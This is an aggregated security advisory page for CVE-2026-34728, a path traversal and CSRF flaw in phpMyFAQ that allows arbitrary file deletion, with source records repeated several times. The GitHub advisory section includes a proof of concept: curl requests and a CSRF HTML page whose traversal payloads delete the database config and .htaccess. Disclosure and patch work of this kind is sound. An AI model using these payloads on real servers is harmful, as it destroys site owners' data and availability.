CVE-2026-34728
phpMyFAQ: Path Traversal - Arbitrary File Deletion in MediaBrowserController
phpMyFAQ is an open source FAQ web application. Prior to version 4.1.1, the MediaBrowserController::index() method handles file deletion for the media browser. When the fileRemove action is triggered, the user-supplied name parameter is concatenated with the base upload directory path without any path traversal validation. The FILTER_SANITIZE_SPECIAL_CHARS filter only encodes HTML special characters (&, ', ", <, >) and characters with ASCII value < 32, and does not prevent directory traversal sequences like ../. Additionally, the endpoint does not validate CSRF tokens, making it exploitable via CSRF attacks. This issue has been patched in version 4.1.1.
Attack profile
How easy it is to exploit
- Attack vector
- Network
- Complexity
- Low
- Privileges needed
- Low
- User interaction
- Required
What an attacker can affect
- Confidentiality
- None
- Integrity
- High
- Availability
- High
Exploit likelihood
What each source reports
CVE List Score used
8.7
phpMyFAQ: Path Traversal - Arbitrary File Deletion in MediaBrowserController
phpMyFAQ is an open source FAQ web application. Prior to version 4.1.1, the MediaBrowserController::index() method handles file deletion for the media browser. When the fileRemove action is triggered, the user-supplied name parameter is concatenated with the base upload directory path without any path traversal validation. The FILTER_SANITIZE_SPECIAL_CHARS filter only encodes HTML special characters (&, ', ", <, >) and characters with ASCII value < 32, and does not prevent directory traversal sequences like ../. Additionally, the endpoint does not validate CSRF tokens, making it exploitable via CSRF attacks. This issue has been patched in version 4.1.1.
- Record
CVE-2026-34728- CVSS 3.1
- 8.7 High
CVSS:3.1/AV:N/AC:L/PR:L/UI:R/S:C/C:N/I:H/A:H - Weakness
- CWE-22
- Updated
- 2026-11-02
EUVDEUVD-2026-18258
8.7
phpMyFAQ is an open source FAQ web application. Prior to version 4.1.1, the MediaBrowserController::index() method handles file deletion for the media browser. When the fileRemove action is triggered, the user-supplied name parameter is concatenated with the base upload directory path without any path traversal validation. The FILTER_SANITIZE_SPECIAL_CHARS filter only encodes HTML special characters (&, ', ", <, >) and characters with ASCII value < 32, and does not prevent directory traversal sequences like ../. Additionally, the endpoint does not validate CSRF tokens, making it exploitable via CSRF attacks. This issue has been patched in version 4.1.1.
- Record
EUVD-2026-18258- CVSS 3.1
- 8.7 High
CVSS:3.1/AV:N/AC:L/PR:L/UI:R/S:C/C:N/I:H/A:H - Updated
- 2026-11-02
GitHub AdvisoriesGHSA-38m8-xrfj-v38x
8.7
phpMyFAQ: Path Traversal - Arbitrary File Deletion in MediaBrowserController
Summary
The MediaBrowserController::index() method handles file deletion for the media browser. When the fileRemove action is triggered, the user-supplied name parameter is concatenated with the base upload directory path without any path traversal validation. The FILTER_SANITIZE_SPECIAL_CHARS filter only encodes HTML special characters (&, ', ", <, >) and characters with ASCII value < 32, and does not prevent directory traversal sequences like ../. Additionally, the endpoint does not validate CSRF tokens, making it exploitable via CSRF attacks.
Details
Affected File: phpmyfaq/src/phpMyFAQ/Controller/Administration/Api/MediaBrowserController.php
Lines 43-66:
#[Route(path: 'media-browser', name: 'admin.api.media.browser', methods: ['GET'])]
public function index(Request $request): JsonResponse|Response
{
$this->userHasPermission(PermissionType::FAQ_EDIT);
// ...
$data = json_decode($request->getContent());
$action = Filter::filterVar($data->action, FILTER_SANITIZE_SPECIAL_CHARS);
if ($action === 'fileRemove') {
$file = Filter::filterVar($data->name, FILTER_SANITIZE_SPECIAL_CHARS);
$file = PMF_CONTENT_DIR . '/user/images/' . $file;
if (file_exists($file)) {
unlink($file);
}
// Returns success without checking if deletion was within intended directory
}
}
Root Causes:
- No path traversal prevention:
FILTER_SANITIZE_SPECIAL_CHARSdoes not remove or encode../sequences. It only encodes HTML special characters. - No CSRF protection: The endpoint does not call
Token::verifyToken(). Compare withImageController::upload()which validates CSRF tokens at line 48. - No basename() or realpath() validation: The code does not use
basename()to strip directory components orrealpath()to verify the resolved path stays within the intended directory. - HTTP method mismatch: The route is defined as
methods: ['GET']but reads the request body via$request->getContent(). This bypasses typical GET-only CSRF protections that rely on same-origin checks for GET requests.
Comparison with secure implementation in the same codebase:
The ImageController::upload() method (same directory) properly validates file names:
if (preg_match("/([^\w\s\d\-_~,;:\[\]\(\).])|([\.]{2,})/", (string) $file->getClientOriginalName())) {
// Rejects files with path traversal sequences
}
The FilesystemStorage::normalizePath() method also properly validates paths:
foreach ($segments as $segment) {
if ($segment === '..' || $segment === '') {
throw new StorageException('Invalid storage path.');
}
}
PoC
Direct exploitation (requires authenticated admin session):
# Delete the database configuration file
curl -X GET 'https://target.example.com/admin/api/media-browser' \
-H 'Content-Type: application/json' \
-H 'Cookie: PHPSESSID=valid_admin_session' \
-d '{"action":"fileRemove","name":"../../../content/core/config/database.php"}'
# Delete the .htaccess file to disable Apache security rules
curl -X GET 'https://target.example.com/admin/api/media-browser' \
-H 'Content-Type: application/json' \
-H 'Cookie: PHPSESSID=valid_admin_session' \
-d '{"action":"fileRemove","name":"../../../.htaccess"}'
CSRF exploitation (attacker hosts this HTML page):
<html>
<body>
<script>
fetch('https://target.example.com/admin/api/media-browser', {
method: 'GET',
headers: {'Content-Type': 'application/json'},
body: JSON.stringify({
action: 'fileRemove',
name: '../../../content/core/config/database.php'
}),
credentials: 'include'
});
</script>
</body>
</html>
When an authenticated admin visits the attacker's page, the database configuration file (database.php) is deleted, effectively taking down the application.
Impact
- Server compromise: Deleting
content/core/config/database.phpcauses total…
- Record
GHSA-38m8-xrfj-v38x- CVSS 3.1
- 8.7 High
CVSS:3.1/AV:N/AC:L/PR:L/UI:R/S:C/C:N/I:H/A:H - Weakness
- CWE-22
- Updated
- 2026-11-02
NVD
8.7
phpMyFAQ is an open source FAQ web application. Prior to version 4.1.1, the MediaBrowserController::index() method handles file deletion for the media browser. When the fileRemove action is triggered, the user-supplied name parameter is concatenated with the base upload directory path without any path traversal validation. The FILTER_SANITIZE_SPECIAL_CHARS filter only encodes HTML special characters (&, ', ", <, >) and characters with ASCII value < 32, and does not prevent directory traversal sequences like ../. Additionally, the endpoint does not validate CSRF tokens, making it exploitable via CSRF attacks. This issue has been patched in version 4.1.1.
- Record
CVE-2026-34728- CVSS 3.1
- 8.7 High
CVSS:3.1/AV:N/AC:L/PR:L/UI:R/S:C/C:N/I:H/A:H - CVSS 3.1
- 8.1 High
CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:H/A:H - Weakness
- CWE-22
- Updated
- 2026-11-02
OSV
8.7
phpMyFAQ: Path Traversal - Arbitrary File Deletion in MediaBrowserController
phpMyFAQ is an open source FAQ web application. Prior to version 4.1.1, the MediaBrowserController::index() method handles file deletion for the media browser. When the fileRemove action is triggered, the user-supplied name parameter is concatenated with the base upload directory path without any path traversal validation. The FILTER_SANITIZE_SPECIAL_CHARS filter only encodes HTML special characters (&, ', ", <, >) and characters with ASCII value < 32, and does not prevent directory traversal sequences like ../. Additionally, the endpoint does not validate CSRF tokens, making it exploitable via CSRF attacks. This issue has been patched in version 4.1.1.
- Record
CVE-2026-34728- CVSS 3.1
- 8.7 High
CVSS:3.1/AV:N/AC:L/PR:L/UI:R/S:C/C:N/I:H/A:H - Weakness
- CWE-22
- Updated
- 2026-11-02
OSVGHSA-38m8-xrfj-v38x
8.7
phpMyFAQ: Path Traversal - Arbitrary File Deletion in MediaBrowserController
Summary
The MediaBrowserController::index() method handles file deletion for the media browser. When the fileRemove action is triggered, the user-supplied name parameter is concatenated with the base upload directory path without any path traversal validation. The FILTER_SANITIZE_SPECIAL_CHARS filter only encodes HTML special characters (&, ', ", <, >) and characters with ASCII value < 32, and does not prevent directory traversal sequences like ../. Additionally, the endpoint does not validate CSRF tokens, making it exploitable via CSRF attacks.
Details
Affected File: phpmyfaq/src/phpMyFAQ/Controller/Administration/Api/MediaBrowserController.php
Lines 43-66:
#[Route(path: 'media-browser', name: 'admin.api.media.browser', methods: ['GET'])]
public function index(Request $request): JsonResponse|Response
{
$this->userHasPermission(PermissionType::FAQ_EDIT);
// ...
$data = json_decode($request->getContent());
$action = Filter::filterVar($data->action, FILTER_SANITIZE_SPECIAL_CHARS);
if ($action === 'fileRemove') {
$file = Filter::filterVar($data->name, FILTER_SANITIZE_SPECIAL_CHARS);
$file = PMF_CONTENT_DIR . '/user/images/' . $file;
if (file_exists($file)) {
unlink($file);
}
// Returns success without checking if deletion was within intended directory
}
}
Root Causes:
- No path traversal prevention:
FILTER_SANITIZE_SPECIAL_CHARSdoes not remove or encode../sequences. It only encodes HTML special characters. - No CSRF protection: The endpoint does not call
Token::verifyToken(). Compare withImageController::upload()which validates CSRF tokens at line 48. - No basename() or realpath() validation: The code does not use
basename()to strip directory components orrealpath()to verify the resolved path stays within the intended directory. - HTTP method mismatch: The route is defined as
methods: ['GET']but reads the request body via$request->getContent(). This bypasses typical GET-only CSRF protections that rely on same-origin checks for GET requests.
Comparison with secure implementation in the same codebase:
The ImageController::upload() method (same directory) properly validates file names:
if (preg_match("/([^\w\s\d\-_~,;:\[\]\(\).])|([\.]{2,})/", (string) $file->getClientOriginalName())) {
// Rejects files with path traversal sequences
}
The FilesystemStorage::normalizePath() method also properly validates paths:
foreach ($segments as $segment) {
if ($segment === '..' || $segment === '') {
throw new StorageException('Invalid storage path.');
}
}
PoC
Direct exploitation (requires authenticated admin session):
# Delete the database configuration file
curl -X GET 'https://target.example.com/admin/api/media-browser' \
-H 'Content-Type: application/json' \
-H 'Cookie: PHPSESSID=valid_admin_session' \
-d '{"action":"fileRemove","name":"../../../content/core/config/database.php"}'
# Delete the .htaccess file to disable Apache security rules
curl -X GET 'https://target.example.com/admin/api/media-browser' \
-H 'Content-Type: application/json' \
-H 'Cookie: PHPSESSID=valid_admin_session' \
-d '{"action":"fileRemove","name":"../../../.htaccess"}'
CSRF exploitation (attacker hosts this HTML page):
<html>
<body>
<script>
fetch('https://target.example.com/admin/api/media-browser', {
method: 'GET',
headers: {'Content-Type': 'application/json'},
body: JSON.stringify({
action: 'fileRemove',
name: '../../../content/core/config/database.php'
}),
credentials: 'include'
});
</script>
</body>
</html>
When an authenticated admin visits the attacker's page, the database configuration file (database.php) is deleted, effectively taking down the application.
Impact
- Server compromise: Deleting
content/core/config/database.phpcauses total…
- Record
GHSA-38m8-xrfj-v38x- CVSS 3.1
- 8.7 High
CVSS:3.1/AV:N/AC:L/PR:L/UI:R/S:C/C:N/I:H/A:H - Weakness
- CWE-22
- Updated
- 2026-11-02
Affected products
Affected packages
| Package | Affected | Fixed |
|---|---|---|
phpmyfaq/phpmyfaqPackagist |
through 4.1.0 | 4.1.1 |
phpmyfaq/phpmyfaqPackagist |
before 4.1.1, plus listed versions 2.10.0-alpha2.8.02.8.0-RC2.8.0-RC22.8.0-RC3 Show 45 moreShow less2.8.0-RC42.8.0-alpha22.8.0-alpha32.8.0-beta2.8.0-beta22.8.0-beta32.8.12.8.102.8.112.8.122.8.132.8.142.8.152.8.162.8.172.8.182.8.192.8.22.8.202.8.212.8.222.8.232.8.242.8.252.8.262.8.272.8.282.8.292.8.32.8.42.8.52.8.62.8.72.8.82.8.92.9.02.9.0-alpha2.9.0-alpha22.9.0-alpha32.9.0-alpha42.9.0-beta2.9.0-beta22.9.0-rc2.9.0-rc22.9.0-rc3 |
4.1.1 |
History
| Recorded | Changed | Sources |
|---|---|---|
| first indexed | CVE List, EUVD, GitHub Advisories, NVD, OSV |
Dates are when Every CVE recorded each change. Upstream dates may differ.
In short
CVE-2026-34728 is a high vulnerability (CVSS 8.7) in Phpmyfaq, published April 1, 2026. No source lists public exploit code. EPSS puts the chance of exploitation in the next 30 days at 0.70%, the 53rd percentile. Fixed in phpmyfaq/phpmyfaq 4.1.1.
References
github.com/thorsten/phpMyFAQ/security/advisories/GHSA-38m8-xrfj-v38x
github.com/thorsten/phpMyFAQ/releases/tag/4.1.1
nvd.nist.gov/vuln/detail/CVE-2026-34728
github.com/advisories/GHSA-38m8-xrfj-v38x
github.com/CVEProject/cvelistV5/tree/main/cves/2026/34xxx/CVE-2026-34728.json
github.com/thorsten/phpMyFAQ
Left out here: 119 versions and the rest of 2 source descriptions. The JSON record has them.